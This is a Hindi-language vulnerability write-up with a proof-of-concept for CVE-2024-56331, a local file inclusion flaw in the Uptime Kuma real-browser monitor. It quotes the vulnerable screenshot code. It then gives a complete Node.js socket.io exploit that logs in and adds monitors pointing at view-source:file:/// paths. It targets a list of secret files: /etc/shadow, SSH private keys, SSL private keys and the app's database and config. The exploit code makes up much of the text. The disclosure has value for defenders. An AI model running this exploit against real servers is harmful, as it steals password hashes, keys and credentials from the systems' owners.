
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2024-56331 के लिए, जो Uptime Kuma में real-browser monitor में अनुचित URL हैंडलिंग के माध्यम से लोकल फ़ाइल इंक्लूज़न प्रदर्शित करता है। संवेदनशील सर्वर फ़ाइलों के स्क्रीनशॉट कैप्चर करने के लिए file:/// प्रोटोकॉल का उपयोग करता है।
Real-Browser मॉनिटर मेंएक अनुचित URL हैंडलिंग भेद्यता हमलावर को file:/// प्रोटोकॉल का शोषण करके सर्वर पर संवेदनशील स्थानीय फ़ाइलों तक पहुंचने की अनुमति देती है। यह भेद्यता "real-browser" अनुरोध प्रकार के माध्यम से ट्रिगर होती है, जो हमलावर द्वारा प्रदान किए गए URL का स्क्रीनशॉट लेती है। स्थानीय फ़ाइल पथ, जैसे file:///etc/passwd, प्रदान करके, हमलावर सर्वर से संवेदनशील डेटा पढ़ सकता है।
भेद्यता इसलिए उत्पन्न होती है क्योंकि सिस्टम URL फ़ील्ड के लिए उपयोगकर्ता इनपुट को ठीक से मान्य या स्वच्छ नहीं करता है। विशेष रूप से:
URL इनपुट (<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">) उपयोगकर्ताओं को सर्वर-साइड सत्यापन के बिना file:/// प्रोटोकॉल सहित मनमानी फ़ाइल पथ इनपुट करने की अनुमति देता है।
सर्वर फिर उपयोगकर्ता द्वारा प्रदान किए गए URL का उपयोग करके अनुरोध करता है, इसे एक ब्राउज़र इंस्टेंस पर भेजता है जो "real-browser" अनुरोध करता है, जो दिए गए URL पर सामग्री का स्क्रीनशॉट लेता है। यदि कोई स्थानीय फ़ाइल पथ दर्ज किया जाता है (उदाहरण के लिए, file:///etc/passwd), तो ब्राउज़र फ़ाइल की सामग्री को प्राप्त करता है और कैप्चर करता है।
const browser = await getBrowser();
const context = await browser.newContext();
const page = await context.newPage();
const res = await page.goto(monitor.url, {
waitUntil: "networkidle",
timeout: monitor.interval * 1000 * 0.8,
});
let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png";
await page.screenshot({
path: path.join(Database.screenshotDir, filename),
});
await context.close();
चूंकि उपयोगकर्ता इनपुट मान्य नहीं है, एक हमलावर स्थानीय फ़ाइलों (उदाहरण के लिए, file:///etc/passwd) का अनुरोध करने के लिए URL में हेरफेर कर सकता है, और सिस्टम फ़ाइल की सामग्री का स्क्रीनशॉट कैप्चर करेगा, जो संभावित रूप से संवेदनशील डेटा उजागर कर सकता है।
view-source:file:///etc/passwd।उदाहरण PoC:
const { io } = require("socket.io-client");
// Server configuration and credentials
const CONFIG = {
serverUrl: "ws://localhost:3001",
credentials: {
username: "admin",
password: "password1"
},
requestType: {
REAL_BROWSER: "real-browser",
HTTP: "http"
},
urlHeader: {
VIEW_SOURCE: "view-source:file:///",
FILE: "file:///"
}
};
// List of sensitive files on a Linux system
const SENSITIVE_FILES = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/hostname",
"/etc/network/interfaces", // May vary depending on the distribution
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
"~/.ssh/authorized_keys",
"~/.ssh/id_rsa",
"/etc/ssl/private/*.key",
"/etc/ssl/certs/*.crt",
"/app/data/kuma.db", // Uptime Kuma database file
"/app/data/config.json" // Uptime Kuma configuration file
];
// Function to send a request and wait for the response
function sendRequest(socket, filePath, type) {
return new Promise((resolve, reject) => {
fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath;
if (type == CONFIG.requestType.HTTP) {
fileUrl = CONFIG.urlHeader.FILE + filePath;
}
socket.emit("add", {
type: type,
name: type + " " + filePath,
url: fileUrl,
method: "GET",
maxretries: 0,
timeout: 500,
notificationIDList: {},
ignoreTls: true,
upsideDown: false,
accepted_statuscodes: ["200-299"]
}, (res) => {
console.log(`Response for file ${filePath}:`, res);
resolve();
});
});
}
// Main function for connecting and sending the 'add' request
(async () => {
const socket = io(CONFIG.serverUrl);
// Handle connection errors
socket.on("connect_error", (err) => {
console.error("Connection failed:", err.message);
});
try {
// Connecting with credentials
await new Promise((resolve, reject) => {
socket.emit("login", {
username: CONFIG.credentials.username,
password: CONFIG.credentials.password,
token: ""
}, (res) => {
if (res.ok) {
console.log("Connection successful");
resolve();
} else {
console.log(res);
reject(new Error("Connection failed"));
}
});
});
// Sending requests for each file using Promise.all to ensure synchronization
const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER));
// Wait for all requests to be sent
await Promise.all([...realBrowserRequests]);
// Close the socket after all requests have been sent
socket.close();
console.log("Connection closed after all requests.");
} catch (error) {
console.error("Error:", error.message);
socket.close();
}
})();
यह भेद्यता एक स्थानीय फ़ाइल समावेशन (LFI) समस्या है, जो हमलावर को सर्वर से संवेदनशील फ़ाइलों तक पहुंचने और संभावित रूप से उन्हें निकालने की अनुमति देती है। प्रभाव महत्वपूर्ण है, क्योंकि हमलावर महत्वपूर्ण सिस्टम फ़ाइलों या एप्लिकेशन कॉन्फ़िगरेशन फ़ाइलों तक पहुंच सकते हैं, जैसे:
/etc/passwd: उपयोगकर्ता खाता जानकारी शामिल है।/etc/shadow: पासवर्ड हैश शामिल हैं।/app/data/kuma.db: Uptime Kuma मॉनिटरिंग टूल के लिए डेटाबेस शामिल है।/app/data/config.json: Uptime Kuma के लिए डेटाबेस क्रेडेंशियल शामिल हैं।कोई भी प्रमाणित उपयोगकर्ता जो "real-browser" मोड में URL सबमिट कर सकता है, इन फ़ाइलों के स्क्रीनशॉट के माध्यम से संवेदनशील डेटा उजागर करने के जोखिम में है।